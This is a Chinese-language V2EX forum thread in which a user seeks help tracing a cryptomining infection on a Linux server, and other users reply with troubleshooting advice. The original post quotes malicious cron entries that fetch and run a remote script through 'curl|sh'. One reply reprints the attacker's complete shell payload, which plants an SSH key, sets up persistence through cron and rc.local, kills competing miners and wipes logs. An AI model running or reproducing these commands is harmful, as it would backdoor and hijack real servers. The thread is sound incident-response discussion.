• 请不要在回答技术问题时复制粘贴 AI 生成的内容
diveIntoWork
V2EX  ›  程序员

求助~服务器被挖矿程序入侵,如何排查

  •  
  •   diveIntoWork · May 28, 2018 · 13700 views
    This topic created in 2915 days ago, the information mentioned may be changed or developed.

    最近服务器 CPU 占用一直在 75%左右,阿里云盾报警说是有挖矿程序,但是 top 命令没有发现 cpu 占用特别高的进程

    top - 09:08:51 up 7 days, 21:20,  0 users,  load average: 6.53, 6.48, 6.45
    Tasks: 181 total,   1 running, 179 sleeping,   0 stopped,   1 zombie
    Cpu(s): 77.8%us,  6.1%sy,  0.0%ni, 16.1%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
    Mem:  32946868k total,  7645184k used, 25301684k free,   722592k buffers
    Swap:        0k total,        0k used,        0k free,  4216620k cached
    
      PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
    22948 root      20   0   616    4    0 R    1  0.0   0:00.46 top
        1 root      20   0  117m 5996 3888 S    1  0.0  21:17.74 /sbin/init
     1767 root      20   0  130m  16m  12m S    1  0.1  43:42.96 /usr/local/aegis/aegis_client/aegis_10_41/AliYunDun
     1117 root      20   0 34336 4736 4200 S    0  0.0   7:24.21 /usr/local/aegis/aegis_update/AliYunDunUpdate
    26901 root      20   0 2712m 567m  22m S    0  1.8  35:07.66 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs -D
     1277 root      20   0 23196 2060 1524 S    0  0.0   6:24.72 /usr/local/cloudmonitor/wrapper/bin/./wrapper /usr/local/cloudmonitor/wrapper/bin/../conf/wrapper.conf wrapper.syslog.ident=cloudmonitor wrap
     7741 root      20   0 6130m 950m  29m S    0  3.0  69:27.14 /root/apps/jdk1.8.0_121/bin/java -cp /root/spark/spark-2.1.4.19-bin-2.7.1/conf/:/root/spark/spark-2.1.4.19-bin-2.7.1/jars/*:/root/hadoop/hado
       42 root      RT   0     0    0    0 S    0  0.0   3:36.15 [migration/7]
       13 root      20   0     0    0    0 S    0  0.0   4:13.37 [ksoftirqd/1]
       12 root      RT   0     0    0    0 S    0  0.0   3:42.04 [migration/1]
       15 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/1:0H]
       16 root      RT   0     0    0    0 S    0  0.0   0:01.70 [watchdog/2]
       17 root      RT   0     0    0    0 S    0  0.0   2:07.48 [migration/2]
        9 root      RT   0     0    0    0 S    0  0.0   1:57.28 [migration/0]
       20 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/2:0H]
       21 root      RT   0     0    0    0 S    0  0.0   0:01.97 [watchdog/3]
       22 root      RT   0     0    0    0 S    0  0.0   6:07.52 [migration/3]
       23 root      20   0     0    0    0 S    0  0.0   5:42.32 [ksoftirqd/3]
       25 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/3:0H]
       26 root      RT   0     0    0    0 S    0  0.0   0:02.08 [watchdog/4]
       27 root      RT   0     0    0    0 S    0  0.0   1:52.24 [migration/4]
       28 root      20   0     0    0    0 S    0  0.0   3:41.09 [ksoftirqd/4]
       30 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/4:0H]
        8 root      20   0     0    0    0 S    0  0.0   0:00.00 [rcu_bh]
       10 root      RT   0     0    0    0 S    0  0.0   0:02.24 [watchdog/0]
       33 root      20   0     0    0    0 S    0  0.0   4:11.14 [ksoftirqd/5]
       32 root      RT   0     0    0    0 S    0  0.0   3:36.46 [migration/5]
       36 root      RT   0     0    0    0 S    0  0.0   0:02.05 [watchdog/6]
       35 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/5:0H]
       38 root      20   0     0    0    0 S    0  0.0   3:39.25 [ksoftirqd/6]
       40 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/6:0H]
       41 root      RT   0     0    0    0 S    0  0.0   0:01.97 [watchdog/7]
       37 root      RT   0     0    0    0 S    0  0.0   1:52.30 [migration/6]
       43 root      20   0     0    0    0 S    0  0.0   4:06.41 [ksoftirqd/7]
       45 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/7:0H]
       46 root      20   0     0    0    0 S    0  0.0   0:00.00 [kdevtmpfs]
       47 root       0 -20     0    0    0 S    0  0.0   0:00.00 [netns]
       48 root       0 -20     0    0    0 S    0  0.0   0:00.00 [perf]
       
       
    

    然后,在 /var/spool/crontab 目录下发现一个定时脚本:

       REDIS0007ú      redis-ver^F3.2.11ú
    redis-bitsÀ@ú^EctimeÂI{»Zú^Hused-memÂxÖ^L^@þ^@û^D^@^@^HJsDhtGeK@I
    */5 * * * * /usr/bin/wget -q -O- http://cdn.namunil.com/sh.php|/bin/sh
    ^@^HFQysiMRk4
    */2 * * * * curl http://cdn.namunil.com/sh.php|sh
    ^@^FdseINi8
    */2 * * * * wget -O- http://cdn.namunil.com/sh.php|sh
    ^@^HJPYAqMif@F
    */5 * * * * /usr/bin/curl -qs http://cdn.namunil.com/sh.php|/bin/sh
    ÿÖX*µTAÄg
    

    是挖矿的脚本无疑了,但接下来应该怎么排查呢,试了一下挖矿脚本下载不下来。cpu 还是一直 75%左右。

    Supplement 1  ·  May 28, 2018

    追加一下htop打印的内容

      PID USER      PRI  NI  VIRT   RES   SHR S CPU% MEM%   TIME+  Command
     5098 root       20   0 15628  1540   800 S 601.  0.0 10h35:14 [kondemand]
     5101 root       20   0 15628  1540   800 R 100.  0.0  1h45:51 [kondemand]
     5102 root       20   0 15628  1540   800 R 100.  0.0  1h45:51 [kondemand]
     5103 root       20   0 15628  1540   800 R 100.  0.0  1h45:51 [kondemand]
     5105 root       20   0 15628  1540   800 R 100.  0.0  1h45:51 [kondemand]
     5104 root       20   0 15628  1540   800 R 100.  0.0  1h45:51 [kondemand]
     5106 root       20   0 15628  1540   800 R 100.  0.0  1h45:52 [kondemand]
     4999 root       20   0 2361M 73548 16152 S  0.7  0.2 50:17.49 /usr/local/cloudmonitor/jre/bin/java -Djava.compiler=none -XX:-UseGCOverheadLimit -XX:NewRatio=1 -XX:SurvivorRatio=8 -XX:+UseSerialGC -Djav
      774 root       20   0 2655M  234M 23012 S  0.7  0.7  9:04.48 /root/apps/jdk1.8.0_121/bin/java -Dproc_secondarynamenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.
     2380 root       20   0 30104 11668  1932 S  0.7  0.0  3:38.34 /root/26 reboot
     3665 root       20   0 76284  1160   784 S  0.7  0.0  4:01.08 /usr/bin/bsd-port/getty
    27004 root       20   0 2712M  569M 22928 S  0.7  1.8  6:12.11 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs
     1312 root       20   0 2361M 73548 16152 S  0.0  0.2  1h06:01 /usr/local/cloudmonitor/jre/bin/java -Djava.compiler=none -XX:-UseGCOverheadLimit -XX:NewRatio=1 -XX:SurvivorRatio=8 -XX:+UseSerialGC -Djav
    26901 root       20   0 2712M  569M 22928 S  0.0  1.8 35:14.74 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs
    
    
    
    

    kondemand 进程把cpu跑满了,没查到什么东西

    36 replies    2018-05-29 09:42:32 +08:00
    Mrun
        1
    Mrun  
       May 28, 2018
    排查啥啊,这种情况就是备份好数据,全盘重做系统
    nealwx
        2
    nealwx  
       May 28, 2018 via iPhone
    top -b -n 1 看一下,你贴出来的好像不全
    然后再装个 htop 应该就可以明显的看出来了
    d0m2o08
        3
    d0m2o08  
       May 28, 2018
    egrep 'curl|wget' -R /
    先把下载挖光脚本的脚本找出来
    top 或者 htop 查看那个进程占用高 干掉
    根据找出来的可以脚本路径 在查找有没有可疑的隐藏文件
    xhf3894
        4
    xhf3894  
       May 28, 2018
    以前一个测试服务器也中过招,首先找出程序的位置,先打包下载下来,然后删除程序,删除随系统启动的配置,然后是修改密码。
    挖矿脚本的原理基本好像是通过扫描 ip,尝试弱密码登录,登录成功之后下载挖矿脚本并执行,而且还会利用服务器查找其他弱密码的 ip。
    diveIntoWork
        5
    diveIntoWork  
    OP
       May 28, 2018
    目前的问题是定位不到 cpu 占用高的进程,定时任务我也清空了,目前也查不到有其他的定时任务,比较尴尬
    Marzlia
        6
    Marzlia  
       May 28, 2018
    你是不是开放得 redis 得端口,我之前就是开了这个端口,清除掉没必要得端口再去找个教程清除挖矿程序
    albertofwb
        7
    albertofwb  
       May 28, 2018 via Android
    会不会是这样,挖矿程序做了反侦测,检测到 top 运行的时候自动暂停工作? 哈哈哈哈
    diveIntoWork
        8
    diveIntoWork  
    OP
       May 28, 2018
    @albertofwb 不会吧,cpu 突降应该也看得到
    lexuskingxx
        9
    lexuskingxx  
       May 28, 2018 via iPhone
    ssh 登录,不能使用密码登录
    dbow
        10
    dbow  
       May 28, 2018
    你这个挖矿程序应该是用了隐藏进程技术,ldd /bin/bash 看看是不是有奇怪的 so 文件预加载, 有的话把他们删除掉, 再看 top 就正常了。
    einvince
        11
    einvince  
       May 28, 2018   ❤️ 2
    top ps 二进制文件被换了,这两个已经成了启动木马启动命令,从别的机器上拷过来再用
    care
        12
    care  
       May 28, 2018 via iPhone
    命令是不是被替换了呢?
    iamsee
        13
    iamsee  
       May 28, 2018
    zcmxw1
        14
    zcmxw1  
       May 28, 2018
    你以 namunil.com 这个为关键字,百度一下,会有几篇文章,跟你类似,你可以参考一下
    iamsee
        15
    iamsee  
       May 28, 2018
    我之前中这招是 redis 密码太弱,他会写 redis,shell payload 全部代码:

    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    sleep 3
    cd /var/tmp || cd /tmp
    find . -maxdepth 1 -name ".mxsh0" -type f -mmin +20 -delete
    [ -f .mxsh0 ] && exit 0
    echo 0 > .mxsh0
    trap "rm -rf .mxsh0" EXIT
    setenforce 0 2>/dev/null
    echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
    crontab -r 2>/dev/null
    rm -rf /var/spool/cron 2>/dev/null
    rm -rf /root/.ssh 2>/dev/null
    crontab -l 2>/dev/null
    mkdir -p /var/spool/cron/crontabs 2>/dev/null
    mkdir -p /root/.ssh 2>/dev/null
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX" > /root/.ssh/authorized_keys
    echo "*/2 * * * * curl -qs cdn.namunil.com/ash.php|sh" > /var/spool/cron/root
    echo "*/5 * * * * /usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /var/spool/cron/root
    echo "*/2 * * * * curl -qs cdn.namunil.com/ash.php|sh" > /var/spool/cron/crontabs/root
    echo "*/5 * * * * /usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /var/spool/cron/crontabs/root
    echo "curl -qs cdn.namunil.com/ash.php|sh" > /etc/rc.local
    echo "/usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /etc/rc.local
    echo "exit 0" >> /etc/rc.local
    grep -q 8.8.8.8 /etc/resolv.conf || echo "nameserver 8.8.8.8" >> /etc/resolv.conf
    grep -q 5.206.225.60 /etc/hosts || echo "5.206.225.60 static.cortins.tk" >> /etc/hosts
    rm -rf /tmp/* 2>/dev/null
    rm -rf /var/tmp/* 2>/dev/null
    rm -rf /etc/root.sh 2>/dev/null
    sync && echo 3 > /proc/sys/vm/drop_caches
    cat <<EOF> /etc/security/limits.conf
    * hard nofile 50000
    * soft nofile 50000
    root hard nofile 50000
    root soft nofile 50000
    EOF
    iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -j DROP 2>/dev/null
    iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -s 127.0.0.1 -j ACCEPT 2>/dev/null
    ps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init" | while read pid _; do kill -9 "$pid"; done
    rm -rf /tmp/* 2>/dev/null
    rm -rf /var/tmp/* 2>/dev/null
    echo 0 > /var/spool/mail/root
    echo 0 > /var/log/wtmp
    echo 0 > /var/log/secure
    echo 0 > /root/.bash_history
    sleep 30
    exit 0
    nine99
        16
    nine99  
       May 28, 2018
    有 rookit 的, 常规方法你是发现不了的
    diveIntoWork
        17
    diveIntoWork  
    OP
       May 28, 2018
    @dbow 和正常机器对比一下应该没问题
    @einvince 看了一下,修改日期是 2016,应该没被替换吧。而且也删不动
    dbow
        18
    dbow  
       May 28, 2018
    可以再从内核的角度看看, 用 perf top 这个系统性能分析工具, 具体使用方法网上找找。
    lucifer4he
        19
    lucifer4he  
       May 28, 2018
    可能 ld.so.preload 增加了一个库文件,库 hook 了 readdir 之类的函数,对读取 /proc 文件夹的操作做了过滤,所以客户在使用 top 或者 ps 命令的时候,得到的结果都是被过滤过的结果。搞一下 top,这些命令隐藏下进程容易的很

    现在现场还在做一个 coredump 分析下吧
    chestnutprog
        20
    chestnutprog  
       May 28, 2018   ❤️ 1
    先拿 RkHunter 查一下 rootkit
    http://rkhunter.sourceforge.net/
    diveIntoWork
        21
    diveIntoWork  
    OP
       May 28, 2018
    @chestnutprog 感谢 用 RkHunter 查了一下,报警的内容有:

    /usr/sbin/adduser [ Warning ]

    /usr/bin/ldd [ Warning ]

    /usr/bin/top [ Warning ]

    /usr/bin/lwp-request [ Warning ]

    /bin/egrep [ Warning ]

    /bin/fgrep [ Warning ]

    /bin/netstat [ Warning ]

    /bin/which [ Warning ]

    这些命令可能都被篡改过了。。/bin/ 目录下的内容 root 用户也不能随便替换吧,能不能从其他机器上拷贝过来
    jin5354
        22
    jin5354  
       May 28, 2018
    不太懂,我 redis 之类的密码强度都很高,10 多位+大小写字母+数字+特殊符号,这样是不是就不容易中招了
    Pain
        24
    Pain  
       May 28, 2018
    没有人比入侵者更了解 入侵的程度。所以备份数据 重装系统是最好的解决方式。
    xuanyuanaosheng
        25
    xuanyuanaosheng  
       May 28, 2018
    目前知道的有一整套的入侵方案:1. 系统命令肯定被替换了 2. 会增加 cron 定时任务 3. 你再知道某些问题后,主要能联网,程序还是会自动修复的,还是被挖矿,4. 开机启动部分也需要查看 5. 目前知道的进程名称为:htral,这个用 top 看不到的 最后建议自己先备份下自己的数据,备份的时候一定注意,然后重新安装系统,这些
    chestnutprog
        26
    chestnutprog  
       May 28, 2018
    @diveIntoWork 可以从干净的相同版本系统上拷,把 rootkit 修好之后去找找挖矿程序,多半是简单的脚本啥的,分析清楚都干了啥挨个修了,顺便看下程序创建时间,检查下当时的 log 看看是从哪里进来的
    kmahyyg
        27
    kmahyyg  
       May 28, 2018
    备份重要的非可执行数据之后重装吧
    huigeer
        28
    huigeer  
       May 28, 2018
    备份重要的非可执行数据之后重装吧
    conn4575
        29
    conn4575  
       May 28, 2018 via Android
    好可怕,吓得我都不敢开放端口了😂
    diveIntoWork
        30
    diveIntoWork  
    OP
       May 28, 2018
    @chestnutprog 感谢~ 最后是这样解决的
    fancyhan
        31
    fancyhan  
       May 28, 2018
    牛逼啊,只能重新安装系统了,怕是有 rookie,你用的什么 distro,开了啥 web 应用,听说 java ssh 框架有漏洞
    aimiyooo
        32
    aimiyooo  
       May 28, 2018
    服务器有 redis 吧?备份数据,重装系统
    0xz
        33
    0xz  
       May 28, 2018 via iPhone
    top 这些检测常用的命令应该也被修改
    crll
        34
    crll  
       May 28, 2018 via iPhone
    我一般除了 80.443 端口开放,其他端口都修改了或者不对外开放的。重装系统是最快捷的方式。做好安全很重要。
    leakless
        35
    leakless  
       May 29, 2018
    testVmap
        36
    testVmap  
       May 29, 2018
    安装 sysdig 工具,我用这个找到了 CPU 占用高的程序
    #sysdig -c topprocs_cpu

    CPU% Process PID
    --------------------------------------------------------------------------------
    99.70% <NA> 719
    99.70% <NA> 725
    98.70% <NA> 724
    98.70% <NA> 722
    0.00% oracle 10187
    0.00% hosteye 988
    0.00% V8 4374
    0.00% oracle 6393
    0.00% gdbus 534
    0.00% <NA> 9230
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   3879 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 237ms · UTC 04:16 · PVG 12:16 · LAX 21:16 · JFK 00:16
    ♥ Do have faith in what you're doing.